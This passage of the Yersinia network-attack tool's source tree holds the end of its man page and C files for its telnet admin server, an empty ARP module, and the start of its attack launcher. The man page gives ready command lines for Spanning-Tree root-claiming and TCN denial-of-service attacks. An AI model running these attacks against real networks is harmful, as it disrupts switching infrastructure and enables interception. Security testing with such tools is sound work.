.IP " 5: NONDOS attack sending ICMP MPLS with double header" .TP \fBAttacks Implemented in ISL:\fR .IP " None at the moment" .SH "GTK GUI" The \fIGTK GUI\fR (\fB\-G\fR) is a GTK graphical interface with all of the \fByersinia\fR powerful features and a professional 'look and feel'. .SH "NCURSES GUI" The \fIncurses GUI\fR (\fB\-I\fR) is a ncurses (or curses) based console where the user can take advantage of \fByersinia\fR powerful features. Press \fI'h'\fR to display the Help Screen and enjoy your session :) .SH "NETWORK DAEMON" The \fINetwork Daemon\fR (\fB\-D\fR) is a telnet based server (ala Cisco mode) that listens by default in port 12000/tcp waiting for incoming telnet connections. It supports a CLI similar to a Cisco device where the user (once authenticated) can display different settings and can launch attacks without having \fByersinia\fR running in her own machine (specially useful for Windows users). .SH "EXAMPLES" \- Send a Rapid Spanning-Tree BPDU with port role designated, port state agreement, learning and port id 0x3000 to eth1: \fByersinia stp \-attack 0 \-version 2 \-flags 5c \-portid 3000 \-interface eth1\fP \- Start a Spanning-Tree nonDoS root claiming attack in the first nonloopback interface (keep in mind that this kind of attack will use the first BPDU on the network interface to fill in the BPDU fields properly): \fByersinia stp \-attack 4\fP \- Start a Spanning-Tree DoS attack sending TCN BPDUs in the eth0 interface with MAC address 66:66:66:66:66:66: \fByersinia stp \-attack 3 \-source 66:66:66:66:66:66\fP .SH "SEE ALSO " The README file contains more in\-depth documentation about the attacks. .SH "COPYRIGHT " Yersinia is Copyright (c) .SH "BUGS " Lots .SH "AUTHORS " Alfredo Andres Omella <[email protected]> .br David Barroso Berrueta <[email protected]>
C
yersinia/src/admin.c
/* admin.c * Network server thread * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #include <netinet/tcp.h> #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #endif #include "admin.h" int8_t admin_init( struct term_tty *node ) { return thread_create( &terms->admin_listen_th, &admin_th_listen, (void *)node ); } /* * Thread that listen for peers connections. * Spawn a thread per peer... */ void * admin_th_listen(void *arg) { struct sockaddr *cliaddr=NULL; struct sockaddr_in server_address; struct timeval timeout; struct filter *ip_filter; struct term_tty *node; int sock=0, sock2, on=1,n,ret; socklen_t clilen; pthread_t tid; sigset_t mask; fd_set read_set; write_log(0,"\n admin_th_network_listen es %X\n",(int)pthread_self()); pthread_mutex_lock(&terms->admin_listen_th.finished); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("th_listener pthread_sigmask()",errno); admin_th_listen_exit(NULL,0); } node = (struct term_tty *)arg; ip_filter = (struct filter *)node->ip_filter; if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { n=errno; thread_error("Error on socket()",n); admin_th_listen_exit(NULL,0); } if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&on,sizeof(on)) < 0) { n=errno; thread_error("Error on setsockopt(SO_REUSEADDR)",n); admin_th_listen_exit(NULL,sock); } #ifdef SO_REUSEPORT on=1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (char *) &on, sizeof(on)) < 0) { n=errno; thread_error("Error on setsockopt(SO_REUSEPORT)",n); admin_th_listen_exit(NULL,sock); } #endif on=1; if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *) &on, sizeof(on)) < 0) { n=errno; thread_error("Error on setsockopt(TCP_NODELAY)",n); admin_th_listen_exit(NULL,sock); } memset( (void *)&server_address, 0, sizeof( struct sockaddr_in ) ); server_address.sin_family = AF_INET; server_address.sin_port = htons(node->port); server_address.sin_addr.s_addr = htonl(INADDR_ANY); if ( bind( sock, (struct sockaddr *)&server_address, sizeof(server_address) ) == -1 ) { n=errno; thread_error("Error on bind()",n); admin_th_listen_exit(NULL,sock); } if (listen(sock,5) == -1) { n=errno; thread_error("Error on listen",n); admin_th_listen_exit(NULL,sock); } cliaddr=(struct sockaddr *)malloc(sizeof(struct sockaddr)); if (cliaddr == NULL) { n=errno; thread_error("malloc()",n); admin_th_listen_exit(NULL,sock); } while(!terms->admin_listen_th.stop) { FD_ZERO(&read_set); FD_SET(sock,&read_set); timeout.tv_sec = 0; timeout.tv_usec= 250000; if ((ret = select(sock+1, &read_set, NULL, NULL, &timeout)) == -1) { n=errno; thread_error("admin_listen select()",n); break; } if (ret) { struct in_addr *ip_addr; clilen=sizeof(struct sockaddr); if ( (sock2 = accept( sock, cliaddr, (socklen_t *)&clilen)) == -1) { n=errno; thread_error("Error on accept",n); admin_th_listen_exit(cliaddr,sock); } ip_addr = (struct in_addr *)&cliaddr->sa_data[2]; if (admin_filter_ip((u_int32_t *)&ip_addr->s_addr,ip_filter) < 0) { write_log(0,"\n Connection refused for %s!!\n", inet_ntoa(*ip_addr)); close(sock2); } else { write_log(0,"\n Connection accepted for %s\n", inet_ntoa(*ip_addr)); if ( pthread_create( &tid, NULL, &admin_th_network_peer, (void *)sock2 ) < 0) { n=errno; thread_error("pthread_create admin_th_listen",n); admin_th_listen_exit(cliaddr,sock); } } } } admin_th_listen_exit(cliaddr, sock); pthread_exit(NULL); } int8_t admin_filter_ip(u_int32_t *ip_addr, struct filter *ip_filter) { struct filter *cursor; u_int32_t ipaddr; cursor = ip_filter; if (!cursor) return 0; ipaddr = ntohl((*ip_addr)); while(cursor) { if ( ( ipaddr >= cursor->begin) && ( ipaddr <= cursor->end) ) { write_log(0,"IP Matched between %08X and %08X...\n",cursor->begin, cursor->end); return 0; } cursor = cursor->next; } return -1; } /* * We arrived here due to normal termination * from thread listener main routine... * Release resources and delete all acquired network terminals... */ void admin_th_listen_exit(struct sockaddr *cliaddr, int sock) { if (cliaddr) thread_free_r(cliaddr); term_delete_all_vty(); if (sock) close(sock); terms->admin_listen_th.id = 0; if (!terms->admin_listen_th.stop) { /* Tell parent that we are going to die... */ fatal_error--; } pthread_mutex_unlock(&terms->admin_listen_th.finished); pthread_exit(NULL); } /* * Thread to communicate with peer */ void * admin_th_network_peer(void *sock) { int16_t n, bytes, i, fail, quantum; int ret; socklen_t len; u_char buf[MAX_LINE+2]; time_t this_time; fd_set read_set; struct sockaddr_in name; struct timeval timeout; struct term_vty *vty; struct term_node *term_node=NULL; memset(buf, 0, MAX_LINE+2); write_log(0,"vty peer %X mutex_lock terms \n",pthread_self()); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_lock",errno); fail = term_add_node(&term_node, TERM_VTY, sock, pthread_self()); if (fail == -1) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, sock); } if (term_node == NULL) { write_log(0,"Ouch!! No more than %d %s accepted!!\n", term_type[TERM_VTY].max, term_type[TERM_VTY].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, sock); } pthread_mutex_lock(&term_node->thread.finished); vty = term_node->specific; this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r(&this_time,term_node->since, sizeof(term_node->since)); #else ctime_r(&this_time, term_node->since); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since)-1); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; len = sizeof(struct sockaddr); if ( getpeername(vty->sock, (struct sockaddr *)&name, &len) < 0) { thread_error("getpeername",errno); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_vty_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, sock); } if (init_attribs(term_node) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_vty_peer pthread_mutex_unlock",errno); admin_th_network_peer_exit(term_node, sock); } term_node->from_port = ntohs(name.sin_port); strncpy(term_node->from_ip,inet_ntoa(name.sin_addr), sizeof(term_node->from_ip) - 1); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); write_log(0,"vty peer %X mutex_unlock terms \n",pthread_self()); fail = 0; fail = term_vty_banner(term_node); if (!fail) fail = term_vty_negotiate(term_node); if (!fail) fail = term_vty_prompt(term_node); if (!fail) fail = term_vty_flush(term_node); vty->authing = 0; timeout.tv_sec = 0; timeout.tv_usec = 0; quantum = 0; FD_ZERO(&read_set); while(!fail && !term_node->thread.stop) { FD_SET(vty->sock, &read_set); if ( (ret=select( vty->sock+1, &read_set, NULL, NULL, &timeout ) ) == -1 ) { n=errno; thread_error("admin_th_network_peer select()",n); timeout.tv_sec = 0; timeout.tv_usec = 250000; continue; } if ( !ret ) /* Timeout, decrement timers... */ { if (quantum%4) /* 1 sec...*/ { quantum=0; if ( (term_node->timeout--) == 0 ) { write_log(0," Timer-> Cancelling %s%d th_id(%d)...\n", term_type[TERM_VTY].name, term_node->number, (int)term_node->thread.id); term_write(term_node, VTY_TIMEOUT_BANNER, sizeof(VTY_TIMEOUT_BANNER)); fail = 1; /* Die...*/ } } else quantum++; } else { bytes = read (vty->sock, buf, MAX_LINE); if (!vty->authing) /* Update timeout...*/ term_node->timeout = term_states[term_node->state].timeout; if (bytes <= 0) break; for (i=0; (i < bytes) && !fail; i++) { if (vty->sbmode) { switch(buf[i]) { case COM_IAC: vty->iacmode=1; continue; break; case COM_WILL: case COM_WONT: case COM_DO: case COM_DONT: vty->othermode=1; continue; break; /* Suboption End...*/ case COM_SE: vty->sbmode=0; vty->iacmode=0; continue; break; case OPT_WSIZE: vty->nwsmode=1; continue; default: if (vty->nwsmode) { if (vty->term_size_index > 3) { vty->nwsmode=0; vty->iacmode=0; continue; } vty->term_size[vty->term_size_index]=buf[i]; if (vty->term_size_index == 3) { vty->width = ntohs(*((u_int16_t *)vty->term_size)); vty->height = ntohs(*((u_int16_t *)&vty->term_size[2])); if (vty->width < MIN_TERM_WIDTH ) vty->width = MIN_TERM_WIDTH; if (vty->width > MAX_TERM_WIDTH) vty->width = MAX_TERM_WIDTH; if (vty->height < MIN_TERM_HEIGHT) vty->height = MIN_TERM_HEIGHT; if (vty->height > MAX_TERM_HEIGHT) vty->height = MAX_TERM_HEIGHT; memset(vty->term_size,0,4); vty->term_size_index=0; vty->nwsmode=0; vty->iacmode=0; continue; } vty->term_size_index++; } vty->iacmode=0; continue; } } if (buf[i] == COM_IAC) { vty->iacmode=1; continue; } if (vty->iacmode) { vty->iacmode=0; switch(buf[i]) { case COM_SB: vty->sbmode=1; break; case COM_WILL: case COM_WONT: case COM_DO: case COM_DONT: default: vty->othermode=1; break; } continue; } if (vty->othermode) { vty->othermode=0; continue; } /* Are we in 'more' mode? */ if (buf[i] && vty->moremode) { /* Clearing...*/ if (buf[i]=='q' || buf[i]=='Q' || buf[i]==CTRL_C ) { thread_free_r(vty->buffer_tx); vty->buffer_tx = NULL; vty->more_tx = NULL; vty->buffer_tx_len = 0; vty->more_tx_len = 0; vty->moremode = 0; term_vty_clear_line(term_node,strlen(VTY_MORE)); fail=term_vty_prompt(term_node); if (!fail) fail=term_vty_flush(term_node); } else { if (buf[i] == SPACE) fail = term_vty_flush(term_node); /* Ok, flush it...*/ if (!vty->moremode) { if (!fail) fail=term_vty_flush(term_node); } } continue; } /* ESC options begin...*/ if (buf[i] == ESC1) { vty->escmode = ESC1; continue; } if ( (vty->escmode == ESC1) && (buf[i] == ESC2)) { vty->escmode = ESC2; continue; } if ( (vty->escmode == ESC2) && (buf[i]==ESC3) ) { vty->escmode =ESC3; continue; } if (vty->escmode == ESC2) { if (!vty->authing) { switch(buf[i]) { case TKEY_SUPR: fail=term_vty_supr(term_node); break; case TKEY_INIT: fail=term_vty_mv_cursor_init(term_node); if (!fail) fail = term_vty_flush(term_node); break; case TKEY_END: fail=term_vty_mv_cursor_end(term_node); if (!fail) fail = term_vty_flush(term_node); break; case TKEY_UP: if (term_states[term_node->state].key_cursor) fail=term_vty_history_prev(term_node); break; case TKEY_DOWN: if (term_states[term_node->state].key_cursor) fail=term_vty_history_next(term_node); break; case TKEY_RIGHT: fail=term_vty_mv_cursor_right(term_node); break; case TKEY_LEFT: fail=term_vty_mv_cursor_left(term_node); break; } vty->escmode=0; continue; } } if ( (vty->escmode == ESC3) && (buf[i]==INSERT) ) { vty->insertmode=!vty->insertmode; vty->escmode=0; continue; } /* Arrived here, not escape or telnet charac...*/ switch(buf[i]) { case '\n':continue; case '\r': fail = term_vty_do_command(term_node); if (!fail && !vty->moremode) { if (vty->clearmode) vty->clearmode=0; else fail = term_vty_write(term_node, "\r\n", 2); if (!fail) fail = term_vty_prompt(term_node); if (!fail) fail = term_vty_flush(term_node); } continue; break; case '\t': if (term_states[term_node->state].key_able && !vty->authing) { fail = term_vty_write(term_node,"\r\n",2); if (!fail) fail = term_vty_complete_command(term_node); if (!fail) fail = term_vty_prompt(term_node); if (!fail && vty->repeat_command) fail=term_vty_write(term_node, vty->buf_command, vty->command_len); if (!fail) fail = term_vty_flush(term_node); if (!vty->repeat_command) term_vty_clear_command(term_node); vty->repeat_command=0; continue; } break; case '?': if (term_states[term_node->state].key_help && !vty->authing) { fail = term_vty_write(term_node,"\r\n",2); if (!fail) fail = term_vty_help(term_node); if (!fail) fail = term_vty_prompt(term_node); if (!fail && vty->repeat_command) fail=term_vty_write(term_node, vty->buf_command, vty->command_len); if (!fail) fail = term_vty_flush(term_node); if (!vty->repeat_command) term_vty_clear_command(term_node); vty->repeat_command=0; continue; } break; case BACKSPACE: case BACKSPACE_WIN: fail = term_vty_backspace(term_node); if (!fail) fail = term_vty_flush(term_node); continue; break; case CTRL_C: if (term_states[term_node->state].key_able && !vty->authing) { if (term_node->state == PARAMS_STATE) { fail = term_vty_exit(term_node); if (fail) continue; } fail = term_vty_write(term_node,"\r\n",2); if (!fail) fail = term_vty_prompt(term_node); if (!fail) fail = term_vty_flush(term_node); if (!fail) term_vty_clear_command(term_node); } continue; break; case CTRL_L: if (term_states[term_node->state].key_able && !vty->authing) { fail= term_vty_clear_screen(term_node); if (!fail) fail=term_vty_prompt(term_node); if (!fail) fail=term_vty_write(term_node, vty->buf_command, vty->command_len); if (!fail) fail=term_vty_flush(term_node); vty->clearmode=0; } continue; break; case CTRL_D: fail= term_vty_exit(term_node); if (!fail) fail=term_vty_write(term_node,"\r\n",2); if (!fail) fail=term_vty_prompt(term_node); if (!fail) fail=term_vty_flush(term_node); if (!fail) term_vty_clear_command(term_node); continue; break; case CTRL_U: if (term_states[term_node->state].key_able && !vty->authing) { fail=term_vty_clear_remote(term_node); if (!fail) fail=term_vty_flush(term_node); if (!fail) term_vty_clear_command(term_node); } continue; break; } /* Ok, add to command buff...*/ if (buf[i]>31 && buf[i]<123 && !fail) { if (vty->insertmode) /* Terminal in mode INSERT...*/ { if (vty->command_len == MAX_COMMAND) { fail=term_vty_write(term_node,"\x7",1); if (!fail) fail=term_vty_flush(term_node); } else { if (vty->command_len == vty->command_cursor) { vty->buf_command[vty->command_cursor]=buf[i]; if (term_states[term_node->state].do_echo && !vty->authing) { fail = term_vty_write(term_node, (char *)&buf[i], 1); if (!fail) fail=term_vty_flush(term_node); } } else { u_int16_t len=0; char *message, *auxstr; len = vty->command_len - vty->command_cursor; auxstr = strdup(&vty->buf_command[vty->command_cursor]); if (auxstr == NULL) { write_log(0,"admin_th_network_peer strdup == NULL"); fail = -1; continue; } memcpy( &vty->buf_command[vty->command_cursor+1], auxstr, len); free(auxstr); vty->buf_command[vty->command_cursor]=buf[i]; if (term_states[term_node->state].do_echo && !vty->authing) { fail = term_vty_clear_line(term_node,len); if (!fail) term_vty_write(term_node, (char *)&buf[i],1); term_vty_write(term_node, &vty->buf_command[vty->command_cursor+1], len); message = (char *)malloc(len); if (message == NULL) { thread_error("admin_th_network_peer malloc",errno); fail = -1; continue; } memset(message, DEL, len); fail = term_vty_write(term_node, message, len); free(message); if (!fail) fail=term_vty_flush(term_node); } } vty->command_len++; vty->command_cursor++; vty->buf_command[vty->command_len] = 0; } } /* insert mode */ else { if (vty->command_len < MAX_COMMAND) { if (vty->command_len > vty->command_cursor) { vty->buf_command[vty->command_cursor]=buf[i]; vty->command_cursor++; } else { vty->buf_command[vty->command_len]=buf[i]; vty->command_len++; vty->command_cursor++; } if (term_states[term_node->state].do_echo && !vty->authing) { fail=term_vty_write(term_node, (char *)&buf[i], 1); if (!fail) fail=term_vty_flush(term_node); } } else { if (vty->command_len > vty->command_cursor) { vty->buf_command[vty->command_cursor]=buf[i]; vty->command_cursor++; if (term_states[term_node->state].do_echo) { fail=term_vty_write(term_node, (char *)&buf[i], 1); if (!fail) fail=term_vty_flush(term_node); } } else { fail=term_vty_write(term_node,"\x7",1); if (!fail) fail=term_vty_flush(term_node); } } vty->buf_command[vty->command_len] = 0; } /* insert mode */ } /* if printable */ } /* Next char on buffer...*/ } /* if select */ timeout.tv_sec = 0; timeout.tv_usec = 250000; } /* While(!fail && !stop) */ admin_th_network_peer_exit(term_node,0); return(NULL); } /* * We arrived here due to normal termination * from thread peer main routine... * Release resources and delete acquired terminal... */ void admin_th_network_peer_exit(struct term_node *term_node, int sock) { dlist_t *p; struct interface_data *iface_data; if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); if (pthread_mutex_unlock(&term_node->thread.finished) != 0) thread_error("th_network_peer pthread_mutex_unlock",errno); } else { if (sock) close(sock); } write_log(0," admin_peer_th %X finished...\n",(int)pthread_self()); pthread_exit(NULL); } /* * Turn down the network admin interface... * I'm unaware of handling errors 'cause we're going to die... */ void admin_exit(void) { #ifdef HAVE_REMOTE_ADMIN /* Kill the admin listener thread... */ /* In fact, the admin listener thread will kill all the peer threads */ /* associated with the vty terminals, and each one will delete every */ /* vty terminal. */ if (terms->admin_listen_th.id) thread_destroy(&terms->admin_listen_th); #endif } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/admin.h
/* admin.h * Definitions for network server thread * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ADMIN_H__ #define __ADMIN_H__ #include "terminal-defs.h" #include "interfaces.h" /* Own functions... */ int8_t admin_init(struct term_tty *); void admin_exit(void); void *admin_th_listen(void *); void admin_th_listen_clean(void *); void admin_th_listen_exit(struct sockaddr *, int); void *admin_th_network_peer(void *); void admin_th_network_peer_clean(void *); void admin_th_network_peer_exit(struct term_node *, int); int8_t admin_filter_ip(u_int32_t *, struct filter *); /* Extern variables...*/ extern struct terminals *terms; extern struct term_types term_type[]; extern struct term_states term_states[]; extern u_int32_t uptime; extern int8_t bin_data[]; /* Extern functions...*/ extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_kill_th(struct term_node *, pthread_t); extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); extern int8_t term_write(struct term_node *, char *, u_int16_t); extern void term_delete_all(void); extern void term_delete_node(struct term_node *, int8_t); extern void term_delete_all_vty(void); extern int8_t term_vty_banner(struct term_node *); extern int8_t term_vty_prompt(struct term_node *); extern int8_t term_vty_motd(struct term_node *); extern int8_t term_vty_negotiate(struct term_node *); extern int8_t term_vty_history_add(struct term_node *, char *, u_int16_t); extern int8_t term_vty_history_next(struct term_node *); extern int8_t term_vty_history_prev(struct term_node *); extern int8_t term_vty_mv_cursor_right(struct term_node *); extern int8_t term_vty_mv_cursor_left(struct term_node *); extern int8_t term_vty_mv_cursor_init(struct term_node *); extern int8_t term_vty_mv_cursor_end(struct term_node *); extern int8_t term_vty_supr(struct term_node *); extern int8_t term_vty_do_command(struct term_node *); extern int8_t term_vty_complete_command(struct term_node *); extern int8_t term_vty_backspace(struct term_node *); extern int8_t term_vty_help(struct term_node *); extern int8_t term_vty_auth(int8_t, char *, char *); extern int8_t term_vty_flush(struct term_node *); extern int8_t term_vty_write(struct term_node *, char *, u_int16_t); extern int8_t term_vty_clear_line(struct term_node *, u_int16_t); extern void term_vty_clear_command(struct term_node *); extern int8_t term_vty_exit(struct term_node *); extern int8_t term_vty_clear_screen(struct term_node *); extern int8_t term_vty_clear_remote(struct term_node *); //extern int8_t thread_create(pthread_t *, void *, void *); extern int8_t thread_create( THREAD *, void *, void *); extern void thread_error(char *, int8_t); extern int8_t thread_destroy_cancel(pthread_t); extern void thread_free_r(void *); extern int8_t init_attribs(struct term_node *); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/arp.c
/* arp.c * Implementation and attacks for Address Resolution Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "arp.h" void arp_register(void) { protocol_register(PROTO_ARP, "ARP", "Address Resolution Protocol", "arp", sizeof(struct arp_data), NULL, NULL, NULL, NULL, NULL, arp_attack, NULL, arp_features, NULL, 0, NULL, 0, NULL, NULL, PROTO_NOVISIBLE, NULL); } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/arp.h
/* arp.h * Defintions for Address Resolution Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __ARP_H__ #define __ARP_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define ARP_SMAC 0 #define ARP_DMAC 1 #define ARP_FORMATHW 2 #define ARP_FORMATPROTO 3 #define ARP_LENHW 4 #define ARP_LENPROTO 5 #define ARP_OP 6 /* ARP stuff */ struct arp_data { /* ARP and Ethernet fields*/ u_int16_t formathw; u_int16_t formatproto; u_int8_t lenhw; u_int8_t lenproto; u_int16_t op; /* Ethernet Data */ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; }; static struct proto_features arp_features[] = { { F_ETHERTYPE, ETHERTYPE_ARP }, { F_ETHERTYPE, ETHERTYPE_REVARP }, { -1, 0} }; static struct _attack_definition arp_attack[] = { { 0, NULL, 0, 0, NULL, NULL, 0 } }; void arp_register(void); extern void thread_libnet_error(char *, libnet_t *); extern int8_t vrfy_bridge_id(char *, u_int8_t * ); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/attack.c
/* attack.c * Attacks management core * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include "attack.h" /* Launch choosed attack... */ int8_t attack_launch( struct term_node *node, u_int16_t proto, u_int16_t attack, struct attack_param *attack_params, u_int8_t nparams ) { u_int16_t i = 0; dlist_t *p; void *value1, *value2; while (i < MAX_THREAD_ATTACK) { if (node->protocol[proto].attacks[i].up == 0) { node->protocol[proto].attacks[i].up = 1; node->protocol[proto].attacks[i].mac_spoofing = node->mac_spoofing; node->protocol[proto].attacks[i].attack = attack; node->protocol[proto].attacks[i].params = attack_params; node->protocol[proto].attacks[i].nparams = nparams; /* FIXME: temporal hasta ponerlo bien, pillamos para el ataque las interfaces del usuario */ node->protocol[proto].attacks[i].used_ints = (list_t *) calloc(1, sizeof(list_t)); for (p = node->used_ints->list; p; p = dlist_next(node->used_ints->list, p)) { value1 = dlist_data(p); value2 = (void *) calloc(1, sizeof(struct interface_data)); memcpy((void *)value2, (void *)value1, sizeof(struct interface_data)); node->protocol[proto].attacks[i].used_ints->list = dlist_append(node->protocol[proto].attacks[i].used_ints->list, value2); } node->protocol[proto].attacks[i].used_ints->cmp = interfaces_compare; if ((node->protocol[proto].attacks[i].data = calloc(1, protocols[proto].size )) == NULL) { thread_error("attack_launch calloc",errno); node->protocol[proto].attacks[i].params = NULL; node->protocol[proto].attacks[i].nparams 